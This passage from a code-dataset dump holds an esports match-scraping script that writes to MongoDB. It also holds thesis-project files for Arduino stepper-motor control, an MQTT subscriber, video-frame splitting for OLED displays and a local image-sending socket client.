dateStart):\n data = splitsCollection.find_one({\n \"name\" : { \"$eq\" : splitName},\n \"seasonId\": { \"$eq\": ObjectId(seasonId)}\n })\n if data is None:\n dictTemp = {\n \"name\": splitName,\n \"seasonId\": ObjectId(seasonId),\n 'dateStart': dateStart\n }\n \n _id = splitsCollection.insert_one(dictTemp)\n updateCurrentSplit(seasonId, str(_id.inserted_id))\n print(\"split created \" + str(_id.inserted_id))\n return(_id.inserted_id, None)\n else:\n season = seasonsCollection.find_one({\"_id\": { \"$eq\": ObjectId(seasonId)}})\n if season[\"currentSplit\"] != ObjectId(str(data['_id'])):\n updateCurrentSplit(seasonId, str(data['_id']))\n print(\"split found \" + str(data['_id']))\n return data['_id']\n\ndef updateCurrentSplit(seasonId, _id):\n print(\"updating current split\")\n myquery = {\"_id\" : { \"$eq\" : ObjectId(seasonId)}}\n newvalues = {\"$set\": { \"currentSplit\" : ObjectId(_id)}} \n seasonsCollection.update_one(myquery, newvalues, upsert=True)\n \ndef splitMatches(splitId, OverviewPage):\n response = site.api('cargoquery',\n limit = \"max\",\n tables = \"MatchSchedule\",\n fields = \"Team1, Team2, Team1Score, Team2Score, BestOf, OverviewPage, MatchId, DateTime_UTC\",\n where = \"OverviewPage LIKE \\'{}\\'\".format(OverviewPage),\n )\n matches = response['cargoquery']\n matchIds = []\n for match in matches:\n data = matchesCollection.find_one({\n \"OverviewPage\" : { \"$eq\" : match['title']['OverviewPage']},\n \"MatchId\": { \"$eq\" : match['title']['MatchId']}\n })\n if data is None:\n mydict = {\n \"OverviewPage\": match['title']['OverviewPage'],\n \"MatchId\": match['title']['MatchId'], \n \"splitId\": splitId,\n \"Team1\": getTeam(match['title']['Team1']),\n \"Team1Score\": match['title']['Team1Score'],\n \"Team2\": getTeam(match['title']['Team2']),\n \"Team2Score\": match['title']['Team2Score'],\n \"BestOf\": match['title']['BestOf']\n }\n \n _id = matchesCollection.insert_one(mydict)\n print(\"Created match \" + str(_id.inserted_id))\n matchIds.append(_id.inserted_id)\n else:\n #checking if current season is empty and if it is updating to the current season\n print(\"Found match \" + str(data[\"_id\"]))\n matchIds.append(str(data[\"_id\"]))\n return(matchIds)\n\ndef seasonMatches(OverviewPage):\n response = site.api('cargoquery',\n limit = \"max\",\n tables = \"MatchSchedule\",\n fields = \"Team1, Team2, Team1Score, Team2Score, BestOf, OverviewPage, MatchId, DateTime_UTC\",\n where = \"OverviewPage LIKE \\'{}\\'\".format(OverviewPage),\n )\n matches = response['cargoquery']\n matchIds = []\n for match in matches:\n data = matchesCollection.find_one({\n \"OverviewPage\" : { \"$eq\" : match['title']['OverviewPage']},\n \"MatchId\": { \"$eq\" : match['title']['MatchId']}\n })\n if data is None:\n mydict = {\n \"OverviewPage\": match['title']['OverviewPage'],\n \"MatchId\": match['title']['MatchId'], \n \"splitId\": None,\n \"Team1\": getTeam(match['title']['Team1']),\n \"Team1Score\": match['title']['Team1Score'],\n \"Team2\": getTeam(match['title']['Team2']),\n \"Team2Score\": match['title']['Team2Score'],\n \"BestOf\": match['title']['BestOf']\n }\n \n _id = matchesCollection.insert_one(mydict)\n print(\"Created match \" + str(_id.inserted_id))\n matchIds.append(_id.inserted_id)\n else:\n #checking if current season is empty and if it is updating to the current season\n print(\"Found match \" + str(data[\"_id\"]))\n matchIds.append(str(data[\"_id\"]))\n return(matchIds)\n\ndef databaseGames(OverviewPage):\n response = matchesCollection.find({\"OverviewPage\": { \"$eq\" : OverviewPage}})\n for match in response:\n matchId = match[\"MatchId\"]\n ScoreboardGames_fields = {\n \"Team1Bans\",\n \"Team1Dragons\",\n \"Team1Barons\",\n \"Team1Towers\",\n \"Team1RiftHeralds\",\n \"Team1Inhibitors\",\n \"Team2Bans\",\n \"Team2Dragons\",\n \"Team2Barons\",\n \"Team2Towers\",\n \"Team2RiftHeralds\",\n \"Team2Inhibitors\",\n \"VOD\", \n \"DateTime_UTC\",\n \"UniqueGame\",\n \"Gamename\"\n }\n \n SG_Response = site.api('cargoquery',\n limit = \"max\",\n tables = \"ScoreboardGames\",\n fields = \", \".join(ScoreboardGames_fields) + \", MatchId, Team1, Team2, Team1Score, Team2Score, Winner\",\n where = f'MatchId = \"{matchId}\"'\n )\n for game in SG_Response['cargoquery']:\n UniqueGameStr = game['title']['UniqueGame']\n data = gamesCollection.find_one({\n \"UniqueGame\":{ \"$eq\" : UniqueGameStr} \n })\n \n if data is None:\n Team1String = game['title']['Team1']\n Team2String = game['title']['Team2']\n SP_Response_Team1 = site.api('cargoquery',\n limit = \"max\",\n tables = \"ScoreboardPlayers\",\n fields = \"Name, Champion, Team,Kills,Deaths,Assists,CS, Items,Runes ,KeystoneRune,Role \",\n where = f'UniqueGame = \"{UniqueGameStr}\" AND Team = \"{Team1String}\"'\n )\n SP_Response_Team2 = site.api('cargoquery',\n limit = \"max\",\n tables = \"ScoreboardPlayers\",\n fields = \"Name, Champion, Team,Kills,Deaths,Assists,CS, Items,Runes ,KeystoneRune,Role\",\n where = f'UniqueGame = \"{UniqueGameStr}\" AND Team = \"{Team2String}\"'\n )\n \n game['title']['Team1Players'] = {}\n game['title']['Team2Players'] = {}\n \n for i in range(0,len(SP_Response_Team1['cargoquery'])):\n print(SP_Response_Team1['cargoquery'][i]['title']['Name'])\n game['title']['Team1Players'][str(i)] = {\n \"playerID\": ObjectId(getPlayer(SP_Response_Team1['cargoquery'][i]['title']['Name'])),\n \"Champ\": SP_Response_Team1['cargoquery'][i]['title']['Champion'],\n \"Kills\": SP_Response_Team1['cargoquery'][i]['title']['Kills'],\n \"Deaths\":SP_Response_Team1['cargoquery'][i]['title']['Deaths'],\n \"Assists\":SP_Response_Team1['cargoquery'][i]['title']['Assists'],\n \"CS\":SP_Response_Team1['cargoquery'][i]['title']['CS'],\n \"Items\":SP_Response_Team1['cargoquery'][i]['title']['Items'],\n \"Runes\":SP_Response_Team1['cargoquery'][i]['title']['Runes'],\n \"KeystoneRune\":SP_Response_Team1['cargoquery'][i]['title']['KeystoneRune'],\n \"Role\":SP_Response_Team1['cargoquery'][i]['title']['Role'],\n }\n game['title']['Team2Players'][str(i)] = {\n \"playerID\": ObjectId(getPlayer(SP_Response_Team2['cargoquery'][i]['title']['Name'])),\n \"Champ\": SP_Response_Team2['cargoquery'][i]['title']['Champion'],\n \"Kills\": SP_Response_Team2['cargoquery'][i]['title']['Kills'],\n \"Deaths\":SP_Response_Team2['cargoquery'][i]['title']['Deaths'],\n \"Assists\":SP_Response_Team2['cargoquery'][i]['title']['Assists'],\n \"CS\":SP_Response_Team2['cargoquery'][i]['title']['CS'],\n \"Items\":SP_Response_Team2['cargoquery'][i]['title']['Items'],\n \"Runes\":SP_Response_Team2['cargoquery'][i]['title']['Runes'],\n \"KeystoneRune\":SP_Response_Team2['cargoquery'][i]['title']['KeystoneRune'],\n \"Role\":SP_Response_Team2['cargoquery'][i]['title']['Role'],\n }\n \n game['title']['Team1'] = ObjectId(getTeam(game['title']['Team1']))\n game['title']['Team2'] = ObjectId(getTeam(game['title']['Team2']))\n \n \n team1Bans = game['title']['Team1Bans']\n team2Bans = game['title']['Team2Bans']\n game['title']['Team1Bans'] = {}\n game['title']['Team2Bans'] = {}\n team1BanArray = team1Bans.split(',')\n team2BanArray = team2Bans.split(',')\n \n for i in range(0, len(team1BanArray)):\n try:\n print(\"1 \" + team1BanArray[i])\n game['title']['Team1Bans'][str(i)] = {\n \"champId\": ObjectId(getChamp(team1BanArray[i]))\n }\n print(\"2 \" + team2BanArray[i])\n game['title']['Team2Bans'][str(i)] = {\n \"champId\": ObjectId(getChamp(team2BanArray[i]))\n }\n except Exception as e:\n print(e)\n \n _id = gamesCollection.insert_one(game['title'])\n print(\"game inserted \" + str(_id.inserted_id))\n else: \n print(\"game exists\")\n\n\ndef main():\n print(\"main\")\n abbr = [\"LCK\", \"LCS\", \"LPL\", \"LEC\", \"MSI\", \"European_Masters\"]\n \n #if document is updated during execuation it will not be read as the updated until the next execution \n \n for abbr in abbr:\n leagueData = league(abbr)\n seasonName, _id, eventType, dateStart = event(leagueData)\n seasonId, splitName = season(seasonName, _id)\n OverviewPage = leagueData['currentOverviewPage']\n if eventType == \"League\":\n print(\"League\")\n splitId = split(splitName, seasonId, dateStart)\n splitMatches(splitId, OverviewPage)\n else:\n print(\"Tournament\")\n seasonMatches(OverviewPage)\n databaseGames(OverviewPage)\n\n\nmain()\n\n\n#might be needed later\n\ndef getNextEvent(name,year=str(dt.year)):\n print(\"Getting next event from cargo table\")\n #whereString = '%{name}/{year}%'.format(name=name,year=year)\n whereString = \"%LCK/2021 Season/%\"\n todayDate = datetime.today().strftime('%Y-%m-%d')\n date = '{date}'.format(date=todayDate)\n\n response = site.api('cargoquery',\n limit = '1',\n tables = \"Tournaments\",\n fields = \"OverviewPage, League, DateStart, Split, Name\",\n where = \"DateStart IS NULL AND OverviewPage LIKE \\'{name}\\'\".format(date=date, name=whereString),\n order_by=\"DateStart DESC\"\n )\n \n print(response)\n \ndef getPastEvents(name,year=str(dt.year)):\n print(\"Getting Tournament name from cargo table\")\n #whereString = '%{name}/{year}%'.format(name=name,year=year)\n whereString = '%{name}/%'.format(name=name)\n todayDate = datetime.today().strftime('%Y-%m-%d')\n date = '{date}'.format(date=todayDate)\n \n response = site.api('cargoquery',\n limit = 'max',\n tables = \"Tournaments\",\n fields = \"OverviewPage, League, DateStart, Split, Name\",\n where = \"DateStart <= \\'{date}\\' AND OverviewPage LIKE \\'{name}\\'\".format(date=date, name=whereString),\n order_by=\"DateStart DESC\"\n )\n \n if response['cargoquery'] == []:\n response = site.api('cargoquery',\n limit = 'max',\n tables = \"Tournaments\",\n fields = \"OverviewPage, League, DateStart, Split, Name\",\n where = f\"DateStart <= \\'{date}\\' AND Name LIKE '%{name}%'\",\n order_by=\"DateStart DESC\"\n )\n if response['cargoquery'] != []:\n response[\"cargoquery\"][0]['title']['type'] = \"Tournament\"\n else:\n if response['cargoquery'] != []:\n response[\"cargoquery\"][0]['title']['type'] = \"League\"\n\n\n \n \n " } ]
2
islam-shamiul/thesis
https://github.com/islam-shamiul/thesis
73cee4afdc49d5f50d0583e58e6a9a28ff057362
ebe135f343f0c4e66255f3792a515d408db5b627
b47fbc82d3cf554c0f07ebb8bffa7161f9c04694
refs/heads/master
2022-11-07T02:15:10.479733
2020-06-27T00:03:38
2020-06-27T00:03:38
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.46226751804351807, "alphanum_fraction": 0.5346924066543579, "avg_line_length": 22.964284896850586, "blob_id": "87272afc8a78a2a83018640637b5f5f006937bf2", "content_id": "e065e809d5e82fd9e6350ab1c864628b2d72e16d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 5592, "license_type": "permissive", "max_line_length": 175, "num_lines": 224, "path": "/forign/101/Arduino/recv_run_motor/recv_run_motor.ino", "repo_name": "islam-shamiul/thesis", "src_encoding": "UTF-8", "text": "#include <AccelStepper.h>\r\nString serialData;\r\n\r\n// Define two steppers and the pins they will use\r\nAccelStepper stepper1(1, 2, 3);\r\nAccelStepper stepper2(1, 4, 5);\r\nAccelStepper stepper3(1, 6, 7);\r\nAccelStepper stepper4(1, 8, 9);\r\nAccelStepper stepper5(1, 10, 11);\r\nAccelStepper stepper6(1, 42, 43);\r\nAccelStepper stepper7(1, 26, 27);\r\nAccelStepper stepper8(1, 24, 25);\r\n\r\nint new_motor_00=0;\r\nint old_motor_00=0;\r\nint new_motor_01=0;\r\nint old_motor_01=0;\r\nint new_motor_02=0;\r\nint old_motor_02=0;\r\nint new_motor_10=0;\r\nint old_motor_10=0;\r\nint new_motor_11=0;\r\nint old_motor_11=0;\r\nint new_motor_12=0;\r\nint old_motor_12=0;\r\nint new_motor_20=0;\r\nint old_motor_20=0;\r\nint new_motor_21=0;\r\nint old_motor_21=0;\r\nint new_motor_22=0;\r\nint old_motor_22=0;\r\nint pos1;\r\nint pos2;\r\nint pos3;\r\nint pos4;\r\nint pos5;\r\nint pos6;\r\nint pos7;\r\nint pos8;\r\n\r\n\r\nvoid setup()\r\n{ Serial.begin(9600); \r\n stepper1.setMaxSpeed(500);\r\n stepper1.setAcceleration(500);\r\n stepper2.setMaxSpeed(500);\r\n stepper2.setAcceleration(500);\r\n stepper3.setMaxSpeed(500);\r\n stepper3.setAcceleration(500);\r\n stepper4.setMaxSpeed(500);\r\n stepper4.setAcceleration(500);\r\n stepper5.setMaxSpeed(500);\r\n stepper5.setAcceleration(500);\r\n stepper6.setMaxSpeed(500);\r\n stepper6.setAcceleration(500);\r\n stepper7.setMaxSpeed(500);\r\n stepper7.setAcceleration(500);\r\n stepper8.setMaxSpeed(500);\r\n stepper8.setAcceleration(500);\r\n}\r\n\r\n String getValue(String data, char separator, int index)\r\n{\r\n int found = 0;\r\n int strIndex[] = { 0, -1 };\r\n int maxIndex = data.length() - 1;\r\n\r\n for (int i = 0; i <= maxIndex && found <= index; i++) {\r\n if (data.charAt(i) == separator || i == maxIndex) {\r\n found++;\r\n strIndex[0] = strIndex[1] + 1;\r\n strIndex[1] = (i == maxIndex) ? i+1 : i;\r\n }\r\n }\r\n return found > index ? data.substring(strIndex[0], strIndex[1]) : \"\";\r\n}\r\n\r\nvoid loop()\r\n{\r\n\r\n\r\n if (Serial.available()>0)\r\n {\r\n serialData = Serial.readString();\r\n \r\n String motor_00_val = getValue(serialData,',',0);\r\n String motor_01_val = getValue(serialData,',',1);\r\n String motor_02_val = getValue(serialData,',',2);\r\n String motor_10_val = getValue(serialData,',',3);\r\n String motor_11_val = getValue(serialData,',',4);\r\n String motor_12_val = getValue(serialData,',',5);\r\n String motor_20_val = getValue(serialData,',',6);\r\n String motor_21_val = getValue(serialData,',',7);\r\n String motor_22_val = getValue(serialData,',',8);\r\n\r\n \r\n //Serial.print(serialData);\r\n \r\n new_motor_00 = motor_00_val.toInt();\r\n new_motor_01 = motor_01_val.toInt();\r\n new_motor_02 = motor_02_val.toInt();\r\n new_motor_10 = motor_10_val.toInt();\r\n new_motor_11 = motor_11_val.toInt();\r\n new_motor_12 = motor_12_val.toInt();\r\n new_motor_20 = motor_20_val.toInt();\r\n new_motor_21 = motor_21_val.toInt();\r\n\r\n if(old_motor_00 !=new_motor_00)\r\n {\r\n pos1=new_motor_00-old_motor_00;\r\n stepper1.moveTo(pos1);\r\n }\r\n else\r\n {\r\n stepper1.moveTo(pos1);\r\n }\r\n \r\n if(old_motor_01 !=new_motor_01)\r\n {\r\n pos2=new_motor_01-old_motor_01;\r\n stepper2.moveTo(pos2);\r\n }\r\n else\r\n {\r\n stepper2.moveTo(pos2);\r\n }\r\n\r\n if(old_motor_02 !=new_motor_02)\r\n {\r\n pos3=new_motor_02-old_motor_02;\r\n stepper3.moveTo(pos3);\r\n }\r\n else\r\n {\r\n stepper1.moveTo(pos3);\r\n }\r\n \r\n if(old_motor_10 !=new_motor_10)\r\n {\r\n pos4=new_motor_10-old_motor_10;\r\n stepper4.moveTo(pos4);\r\n }\r\n else\r\n {\r\n stepper1.moveTo(pos4);\r\n }\r\n \r\n if(old_motor_11 !=new_motor_11)\r\n {\r\n pos5=new_motor_11-old_motor_11;\r\n stepper1.moveTo(pos5);\r\n }\r\n else\r\n {\r\n stepper1.moveTo(pos5);\r\n }\r\n \r\n if(old_motor_12 !=new_motor_12)\r\n {\r\n pos6=new_motor_12-old_motor_12;\r\n stepper6.moveTo(pos6);\r\n }\r\n else\r\n {\r\n stepper1.moveTo(pos6);\r\n }\r\n \r\n if(old_motor_20 !=new_motor_20)\r\n {\r\n pos7=new_motor_20-old_motor_20;\r\n stepper7.moveTo(pos7);\r\n }\r\n else\r\n {\r\n stepper7.moveTo(pos7);\r\n }\r\n \r\n if(old_motor_21 !=new_motor_21)\r\n {\r\n pos8=new_motor_21-old_motor_21;\r\n stepper8.moveTo(pos8);\r\n }\r\n else\r\n {\r\n stepper8.moveTo(pos8);\r\n }\r\n \r\n \r\n \r\n \r\n \r\n Serial.print(pos1); \r\n Serial.println(\",\");\r\n Serial.print(pos2);\r\n Serial.println(\",\");\r\n Serial.print(pos3); \r\n\r\n old_motor_00=new_motor_00;\r\n old_motor_01=new_motor_01;\r\n old_motor_02=new_motor_02;\r\n old_motor_10=new_motor_10;\r\n old_motor_11=new_motor_11;\r\n old_motor_12=new_motor_12;\r\n old_motor_20=new_motor_20;\r\n old_motor_21=new_motor_21;\r\n \r\n while ((stepper1.distanceToGo() != 0) || (stepper2.distanceToGo() !=0) || (stepper3.distanceToGo() !=0) || (stepper4.distanceToGo() !=0) || (stepper5.distanceToGo() !=0) || \r\n (stepper6.distanceToGo() !=0) || (stepper7.distanceToGo() !=0) || (stepper8.distanceToGo() !=0)) \r\n {\r\n \r\n stepper1.run();\r\n stepper2.run();\r\n stepper3.run();\r\n stepper4.run();\r\n stepper5.run();\r\n stepper6.run();\r\n stepper7.run();\r\n stepper8.run();\r\n }\r\n\r\n}\r\n\r\n\r\n}\r\n" }, { "alpha_fraction": 0.6815999746322632, "alphanum_fraction": 0.7071999907493591, "avg_line_length": 21.148147583007812, "blob_id": "356ebc82d71f58668fee95cc052455471e0116d9", "content_id": "4e4ecd94e155fb2727428b4583fe1111e431b128", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 625, "license_type": "permissive", "max_line_length": 64, "num_lines": 27, "path": "/forign/101/MQTT/subscriber.py", "repo_name": "islam-shamiul/thesis", "src_encoding": "UTF-8", "text": "import paho.mqtt.client as mqtt # import the client1\r\nimport cv2\r\nimport io\r\nfrom PIL import Image\r\nimport numpy as np\r\nimport base64\r\n\r\n\r\ndef on_connect(client, userdata, flags, rc):\r\n print(\"Connected with result code \"+str(rc))\r\n\r\n\r\ndef process_message(client, userdata, msg):\r\n print(\"massege received:\", str(msg.payload.decode(\"utf-8\")))\r\n\r\n\r\nbroker_address = \"192.168.0.101\"\r\nclient = mqtt.Client(\"s1\")\r\nclient.on_connect = on_connect\r\nclient.on_message = process_message\r\n\r\n# create new instance\r\n\r\nclient.connect(broker_address) # connect to broker\r\n\r\nclient.subscribe(\"test/message\")\r\nclient.loop_forever()\r\n" }, { "alpha_fraction": 0.5614567399024963, "alphanum_fraction": 0.6066009402275085, "avg_line_length": 30.75, "blob_id": "6ab7b1e3cfc76f5514ee307a2ba0f62a390200b3", "content_id": "4b98c10ba34849eceecf8acd7af21b670ac1c147", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2636, "license_type": "permissive", "max_line_length": 93, "num_lines": 80, "path": "/forign/101/Raspberry pi codes/multiprocess.py", "repo_name": "islam-shamiul/thesis", "src_encoding": "UTF-8", "text": "import cv2\r\n#import _thread\r\nimport multiprocessing\r\nimport time\r\n#from luma.core.interface.serial import i2c\r\n#from luma.core.render import canvas\r\n#from luma.oled.device import ssd1306, ssd1325, ssd1331, sh1106\r\nfrom time import sleep\r\nfrom PIL import Image\r\n\r\ncap= cv2.VideoCapture(\"videoplayback.mp4\")\r\nprint(\"Done\")\r\nn_rows = 2\r\nn_images_per_row = 2\r\nwidth = 256\r\nheight = 128\r\ndim = (width, height)\r\n#serial4 = i2c(port=6, address=0x3C)\r\n#device4 = ssd1306(serial4)\r\n#serial3 = i2c(port=5, address=0x3C)\r\n#device3 = ssd1306(serial3)\r\n#serial2 = i2c(port=4, address=0x3C)\r\n#device2 = ssd1306(serial2)\r\n#serial1 = i2c(port=3, address=0x3C)\r\n#device1 = ssd1306(serial1)\r\n\r\ndef print_Image(image):\r\n #device.display(image)\r\n print('called')\r\ndef print_Image2(image):\r\n #device.display(image)\r\n print('called2')\r\ndef print_Image3(image):\r\n #device.display(image)\r\n print('called3')\r\ndef print_Image4(image):\r\n #device.display(image)\r\n print('called4')\r\n\r\n\r\nwhile(True):\r\n start_time = time.time()\r\n ret, frame = cap.read()\r\n frame = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\r\n frame = cv2.resize(frame, dim, interpolation = cv2.INTER_AREA)\r\n height, width = frame.shape\r\n roi_height = int(height / n_rows)\r\n roi_width = int(width / n_images_per_row)\r\n \r\n images = []\r\n \r\n for x in range(0, n_rows):\r\n for y in range(0, n_images_per_row):\r\n tmp_image=frame[x*roi_height:(x+1)*roi_height, y*roi_width:(y+1)*roi_width]\r\n images.append(tmp_image)\r\n \r\n #Display image\r\n for x in range(0, n_rows):\r\n for y in range(0, n_images_per_row):\r\n cv2.imshow(str(x*n_images_per_row+y+1),images[x*n_images_per_row+y])\r\n cv2.moveWindow(str(x*n_images_per_row+y+1), 100+(y*roi_width), 50+(x*roi_height))\r\n \r\n image = Image.fromarray(images[0]).convert('1')\r\n image2 = Image.fromarray(images[1]).convert('1')\r\n image3 = Image.fromarray(images[2]).convert('1')\r\n image4 = Image.fromarray(images[3]).convert('1')\r\n \r\n a=multiprocessing.Process(target=print_Image, args=(image,))\r\n b=multiprocessing.Process(target=print_Image2, args=(image2,))\r\n c=multiprocessing.Process(target=print_Image3, args=(image3,))\r\n d=multiprocessing.Process(target=print_Image4, args=(image4,))\r\n a.start()\r\n b.start()\r\n c.start()\r\n d.start()\r\n if cv2.waitKey(1) & 0xFF == ord('q'):\r\n break\r\n print(time.time()-start_time)\r\ncap.release()\r\ncv2.destroyAllWindows()\r\n\r\n \r\n" }, { "alpha_fraction": 0.5627477169036865, "alphanum_fraction": 0.6235138773918152, "avg_line_length": 16.463415145874023, "blob_id": "2702c1f4eb6176d0e66a3f81206a7e9c375da4b2", "content_id": "687838b498d195ca1dc832c4654badedc55a9e2f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 757, "license_type": "permissive", "max_line_length": 50, "num_lines": 41, "path": "/forign/101/Arduino/motor_Run/motor_Run.ino", "repo_name": "islam-shamiul/thesis", "src_encoding": "UTF-8", "text": "#include <AccelStepper.h>\r\n\r\n// Define two steppers and the pins they will use\r\nAccelStepper stepper1(1, 2, 3);\r\nAccelStepper stepper2(1, 5, 6);\r\n\r\nString recv_Data;\r\nint new_x=0;\r\nint old_x=0;\r\nint new_y=0;\r\nint old_y=0;\r\nint x;\r\nint y;\r\n\r\nvoid setup() {\r\n // put your setup code here, to run once:\r\n //Serial.begin(9600);\r\n stepper1.setMaxSpeed(400);\r\n\r\n stepper2.setMaxSpeed(400);\r\n //stepper2.setAcceleration(150);\r\n \r\n stepper1.setSpeed(250);\r\n stepper2.setSpeed(250);\r\n while(true){\r\n stepper1.runSpeed();\r\n stepper2.runSpeed();\r\n }\r\n}\r\n\r\nvoid loop()\r\n{\r\n \r\n \r\n stepper1.setSpeed(25*x);\r\n stepper2.setSpeed(25*y);\r\n // put your main code here, to run repeatedly:*/\r\n stepper1.runSpeed();\r\n stepper2.runSpeed();\r\n \r\n}\r\n" }, { "alpha_fraction": 0.6397984623908997, "alphanum_fraction": 0.7052896618843079, "avg_line_length": 21.47058868408203, "blob_id": "61ecfc3c3db257e4e80c66cf6dd1d690ac69ebce", "content_id": "853fd614439ab3f9278077e69fb932f0f840e37c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 397, "license_type": "permissive", "max_line_length": 48, "num_lines": 17, "path": "/forign/101/base64_Client.py", "repo_name": "islam-shamiul/thesis", "src_encoding": "UTF-8", "text": "import base64\r\nimport socket\r\nimport cv2\r\nimport numpy\r\n\r\nTCP_IP = '192.168.0.101'\r\nTCP_PORT = 5000\r\n\r\nsock = socket.socket()\r\nsock.connect((TCP_IP, TCP_PORT))\r\ncapture = cv2.imread(\"cover.jpeg\")\r\nencode_param=[int(cv2.IMWRITE_JPEG_QUALITY),90]\r\nresult,imgencode = cv2.imencode('.jpg', capture)\r\njpg_as_text = base64.b64encode(imgencode)\r\nprint(jpg_as_text)\r\nsock.send( jpg_as_text )\r\nsock.close()" }, { "alpha_fraction": 0.56849604845047, "alphanum_fraction": 0.646208643913269, "avg_line_length": 28.28834342956543, "blob_id": "b39724903a2cbe7638394663e6058a5d3c3cf7ae", "content_id": "44830abb82fa1ecdf32e13c2b9ee59b6de5d5151", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 4774, "license_type": "permissive", "max_line_length": 112, "num_lines": 163, "path": "/raspberry_pi/arduino_driver/arduino_driver.ino", "repo_name": "islam-shamiul/thesis", "src_encoding": "UTF-8", "text": "#include <AccelStepper.h>\nString motor_data = \"\";\nbool data_filled = false;\n\nAccelStepper stepper_00(AccelStepper::DRIVER, 2, 3); //AccelStepper::DRIVER, STEPPER1_STEP_PIN, STEPPER1_DIR_PIN\nAccelStepper stepper_01(AccelStepper::DRIVER, 4, 5);\nAccelStepper stepper_02(AccelStepper::DRIVER, 6, 7);\nAccelStepper stepper_10(AccelStepper::DRIVER, 8, 9);\nAccelStepper stepper_11(AccelStepper::DRIVER, 10, 11);\nAccelStepper stepper_12(AccelStepper::DRIVER, 42, 43);\nAccelStepper stepper_20(AccelStepper::DRIVER, 26, 27);\nAccelStepper stepper_21(AccelStepper::DRIVER, 24, 25);\nAccelStepper stepper_22(AccelStepper::DRIVER, 24, 25);\n\nString string_block(String data, char separator, int index);\n\nvoid setup()\n{\n Serial.begin(9600);\n \n stepper_00.setMaxSpeed(250);\n stepper_00.setAcceleration(250);\n \n stepper_01.setMaxSpeed(250);\n stepper_01.setAcceleration(250);\n \n stepper_02.setMaxSpeed(250);\n stepper_02.setAcceleration(250);\n \n stepper_10.setMaxSpeed(250);\n stepper_10.setAcceleration(250);\n\n stepper_11.setMaxSpeed(250);\n stepper_11.setAcceleration(250);\n\n stepper_12.setMaxSpeed(250);\n stepper_12.setAcceleration(250);\n \n stepper_20.setMaxSpeed(250);\n stepper_20.setAcceleration(250);\n\n stepper_21.setMaxSpeed(250);\n stepper_21.setAcceleration(250);\n\n stepper_22.setMaxSpeed(250);\n stepper_22.setAcceleration(250);\n\n stepper_00.setCurrentPosition(0);\n stepper_01.setCurrentPosition(0);\n stepper_02.setCurrentPosition(0);\n stepper_10.setCurrentPosition(0);\n stepper_11.setCurrentPosition(0);\n stepper_12.setCurrentPosition(0);\n stepper_20.setCurrentPosition(0);\n stepper_21.setCurrentPosition(0);\n stepper_22.setCurrentPosition(0);\n \n stepper_00.setMaxSpeed(250);\n stepper_00.setAcceleration(250);\n \n stepper_01.setMaxSpeed(250);\n stepper_01.setAcceleration(250);\n \n stepper_02.setMaxSpeed(250);\n stepper_02.setAcceleration(250);\n \n stepper_10.setMaxSpeed(250);\n stepper_10.setAcceleration(250);\n\n stepper_11.setMaxSpeed(250);\n stepper_11.setAcceleration(250);\n\n stepper_12.setMaxSpeed(250);\n stepper_12.setAcceleration(250);\n \n stepper_20.setMaxSpeed(250);\n stepper_20.setAcceleration(250);\n\n stepper_21.setMaxSpeed(250);\n stepper_21.setAcceleration(250);\n\n stepper_22.setMaxSpeed(250);\n stepper_22.setAcceleration(250);\n\n Serial.println(\"arduino is waiting for command\");\n}\n\n\nvoid loop()\n{\n while (!Serial.available()){\n motor_data = \"\";\n data_filled = false;\n }\n while (Serial.available()){\n if (Serial.available() >0)\n {\n char motor_char = Serial.read();\n motor_data += motor_char; \n data_filled = true;\n }\n }\n\n if(!Serial.available() && data_filled){\n stepper_00.moveTo(string_block(motor_data,',',0).toInt());\n stepper_01.moveTo(string_block(motor_data,',',1).toInt());\n stepper_02.moveTo(string_block(motor_data,',',2).toInt());\n stepper_10.moveTo(string_block(motor_data,',',3).toInt());\n stepper_11.moveTo(string_block(motor_data,',',4).toInt());\n stepper_12.moveTo(string_block(motor_data,',',5).toInt());\n stepper_20.moveTo(string_block(motor_data,',',6).toInt());\n stepper_21.moveTo(string_block(motor_data,',',7).toInt());\n stepper_22.moveTo(string_block(motor_data,',',8).toInt());\n\n while(stepper_00.distanceToGo() != 0 || stepper_01.distanceToGo() != 0 || stepper_02.distanceToGo() != 0 || \n stepper_10.distanceToGo() != 0 || stepper_11.distanceToGo() != 0 || stepper_12.distanceToGo() != 0 || \n stepper_20.distanceToGo() != 0 || stepper_21.distanceToGo() != 0 || stepper_22.distanceToGo() != 0){\n if(stepper_00.distanceToGo() != 0){\n stepper_00.run();\n }\n if(stepper_01.distanceToGo() != 0){\n stepper_01.run();\n }\n if(stepper_02.distanceToGo() != 0){\n stepper_02.run();\n }\n if(stepper_10.distanceToGo() != 0){\n stepper_10.run();\n }\n if(stepper_11.distanceToGo() != 0){\n stepper_11.run();\n }\n if(stepper_12.distanceToGo() != 0){\n stepper_12.run();\n }\n if(stepper_20.distanceToGo() != 0){\n stepper_20.run();\n }\n if(stepper_21.distanceToGo() != 0){\n stepper_21.run();\n }\n if(stepper_22.distanceToGo() != 0){\n stepper_22.run();\n }\n }\n }\n}\n\nString string_block(String data, char separator, int block_index)\n{\n int found = 0;\n int str_index[] = { 0, -1 };\n int maximum_index = data.length() - 1;\n\n for (int i = 0; i <= maximum_index && found <= block_index; i++) {\n if (data.charAt(i) == separator || i == maximum_index) {\n found++;\n str_index[0] = str_index[1] + 1;\n str_index[1] = (i == maximum_index) ? i+1 : i;\n }\n }\n return found > block_index ? data.substring(str_index[0], str_index[1]) : \"\";\n}\n" }, { "alpha_fraction": 0.48076921701431274, "alphanum_fraction": 0.5244082808494568, "avg_line_length": 28.404495239257812, "blob_id": "5bbbcbca74c72e6927e97f7c0ce5b4eccd5b3cc3", "content_id": "a427f2730b2a14fb89a728e33ddfe322e5bfeb49", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2704, "license_type": "permissive", "max_line_length": 97, "num_lines": 89, "path": "/forign/101/Raspberry pi codes/image_capture_Pc.py", "repo_name": "islam-shamiul/thesis", "src_encoding": 